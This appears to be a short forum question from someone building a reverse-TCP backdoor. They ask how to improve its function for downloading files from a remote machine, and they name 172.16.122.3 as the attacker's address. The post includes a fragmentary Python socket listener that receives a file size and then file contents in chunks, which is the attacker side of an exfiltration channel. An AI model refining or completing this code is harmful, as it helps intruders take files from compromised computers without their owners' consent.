I'm building a small backdoor (Reverse_TCP), and i've added a function to download files from the remote machine.
What do you suggest to improve this function?
- 172.16.122.3 : Attacker's IP address.
- filename variable: the name of the file we want to download.
- expected_data : the size of the file we want to download.
s_to_recv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_to_recv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s, cip = s_to_recv.accept()
expected_data = s.recv(16)
data = ""
f = open(filename, 'wb')
while len(data) < int(expected_data):
chunk = s.recv(16)
data += chunk
Just to be clear, i've tried it with many small files 3 to 5 Meg and it worked.